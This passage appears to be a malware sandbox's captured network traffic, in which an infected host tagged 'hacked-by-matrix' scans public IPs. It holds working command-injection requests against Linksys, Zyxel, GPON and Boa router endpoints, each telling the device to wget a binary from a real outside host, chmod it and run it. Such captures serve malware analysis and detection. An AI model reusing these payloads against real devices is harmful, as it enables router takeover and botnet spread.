6e 75 65 73 74 72 6f 73 20 73 65 72 76 69 64 6f 72 65 73 20 68 61 20 73 69 64 6f 20 62 6c 6f 71 75 65 61 64 6f 20 70 6f 72 20 73 6f 73 70 65 63 68 61 72 73 65 20 71 75 65 20 68 61 20 68 61 62 69 64 6f 20 75 6e 20 69 6e 74 65 6e 74 6f 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 20 64 65 73 64 65 20 74 75 20 63 6f 6e 65 78 69 6f 6e 20 63 6f 6e 20 49 50 20 2e 3c 62 72 3e 0a 20 20 20 20 20 20 53 69 20 63 6f 6e 73 69 64 65 72 61 73 20 71 75 65 20 65 73 74 65 20 62 6c 6f 71 75 65 6f 20 6e 6f 20 65 73 20 63 6f 72 72 65 63 74 6f 20 70 6f 6e 74 65 20 65 6e 20 63 6f 6e 74 61 63 74 6f 20 63 6f 6e 20 41 74 65 6e 63 69 6f 6e 20 61 6c 20 63 6c 69 65 6e 74 65 20 65 20 69 6e 64 69 63 61 6e 6f 73 20 6c 61 20 49 50 20 64 65 20 74 75 20 63 6f 6e 65 78 69 6f 6e 20 70 61 72 61 20 72 65 76 69 73 61 72 20 65 6c 20 63 61 73 6f 2e 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 3c 2f 66 6f 6e 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html> <head> <title> Deteccion de intrusion </title> </head> <body> <font size=2> <table width="100%"> <tr> <td bgcolor=#3300cc align="center" colspan=2> <font color=#ffffff> <b> Bloqueo de acceso por sospecha de intrusion </b> </font> </td> </tr> </table> <br> <br> El acceso a nuestros servidores ha sido bloqueado por sospecharse que ha habido un intento de intrusion desde tu conexion con IP .<br> Si consideras que este bloqueo no es correcto ponte en contacto con Atencion al cliente e indicanos la IP de tu conexion para revisar el caso.<br> <br> <br> <hr> </font> </body></html>
Mar 21, 2024 05:17:38.112054110 CET	943	IN	HTTP/1.1 200 OK Content-Length: 778 Connection: Close Cache-Control: no-cache Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 44 65 74 65 63 63 69 6f 6e 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 66 6f 6e 74 20 73 69 7a 65 3d 32 3e 0a 20 20 20 20 20 20 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 72 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 62 67 63 6f 6c 6f 72 3d 23 33 33 30 30 63 63 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6f 6c 73 70 61 6e 3d 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 6c 6f 71 75 65 6f 20 64 65 20 61 63 63 65 73 6f 20 70 6f 72 20 73 6f 73 70 65 63 68 61 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 74 64 3e 0a 20 20 20 20 20 20 20 20 3c 2f 74 72 3e 0a 20 20 20 20 20 20 3c 2f 74 61 62 6c 65 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 45 6c 20 61 63 63 65 73 6f 20 61 20 6e 75 65 73 74 72 6f 73 20 73 65 72 76 69 64 6f 72 65 73 20 68 61 20 73 69 64 6f 20 62 6c 6f 71 75 65 61 64 6f 20 70 6f 72 20 73 6f 73 70 65 63 68 61 72 73 65 20 71 75 65 20 68 61 20 68 61 62 69 64 6f 20 75 6e 20 69 6e 74 65 6e 74 6f 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 20 64 65 73 64 65 20 74 75 20 63 6f 6e 65 78 69 6f 6e 20 63 6f 6e 20 49 50 20 2e 3c 62 72 3e 0a 20 20 20 20 20 20 53 69 20 63 6f 6e 73 69 64 65 72 61 73 20 71 75 65 20 65 73 74 65 20 62 6c 6f 71 75 65 6f 20 6e 6f 20 65 73 20 63 6f 72 72 65 63 74 6f 20 70 6f 6e 74 65 20 65 6e 20 63 6f 6e 74 61 63 74 6f 20 63 6f 6e 20 41 74 65 6e 63 69 6f 6e 20 61 6c 20 63 6c 69 65 6e 74 65 20 65 20 69 6e 64 69 63 61 6e 6f 73 20 6c 61 20 49 50 20 64 65 20 74 75 20 63 6f 6e 65 78 69 6f 6e 20 70 61 72 61 20 72 65 76 69 73 61 72 20 65 6c 20 63 61 73 6f 2e 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 3c 2f 66 6f 6e 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html> <head> <title> Deteccion de intrusion </title> </head> <body> <font size=2> <table width="100%"> <tr> <td bgcolor=#3300cc align="center" colspan=2> <font color=#ffffff> <b> Bloqueo de acceso por sospecha de intrusion </b> </font> </td> </tr> </table> <br> <br> El acceso a nuestros servidores ha sido bloqueado por sospecharse que ha habido un intento de intrusion desde tu conexion con IP .<br> Si consideras que este bloqueo no es correcto ponte en contacto con Atencion al cliente e indicanos la IP de tu conexion para revisar el caso.<br> <br> <br> <hr> </font> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	47420	101.33.24.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.370316982 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:37.590584040 CET	195	IN	HTTP/1.1 404 Not Found Content-Length: 0 X-NWS-LOG-UUID: 9166569554092179147 Server: lego_ovs_video Date: Thu, 21 Mar 2024 04:17:37 GMT X-Cache-Lookup: Return Directly Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	56672	80.72.115.169	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.386949062 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:37.593331099 CET	337	IN	HTTP/1.1 405 Not Allowed Server: Web server Date: Thu, 21 Mar 2024 04:17:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 155 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>
Mar 21, 2024 05:17:37.593561888 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:17:35 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	43414	119.211.63.250	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.432846069 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:37.714865923 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	52148	172.67.227.24	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.461236000 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	44424	172.64.129.54	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.464987993 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	51220	189.157.217.151	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.518438101 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:38.165554047 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:38.396106005 CET	599	IN	HTTP/1.1 400 Bad Request Server: thttpd/2.25b 29dec2003 Content-Type: text/html; charset=utf-8 Date: Thu, 21 Mar 2024 04:17:36 GMT Last-Modified: Thu, 21 Mar 2024 04:17:36 GMT Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 74 68 74 74 70 64 2f 22 3e 74 68 74 74 70 64 2f 32 2e 32 35 62 20 32 39 64 65 63 32 30 30 33 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.<HR><ADDRESS><A HREF="http://www.acme.com/software/thttpd/">thttpd/2.25b 29dec2003</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	56836	172.67.62.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.549330950 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	42968	166.141.215.134	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.616664886 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	59182	98.193.129.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.689161062 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	57224	178.232.167.55	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.329775095 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	53484	104.252.235.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.360034943 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:38.861480951 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:39.016102076 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:39.807552099 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	36812	18.172.147.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:38.360060930 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:38.861454964 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
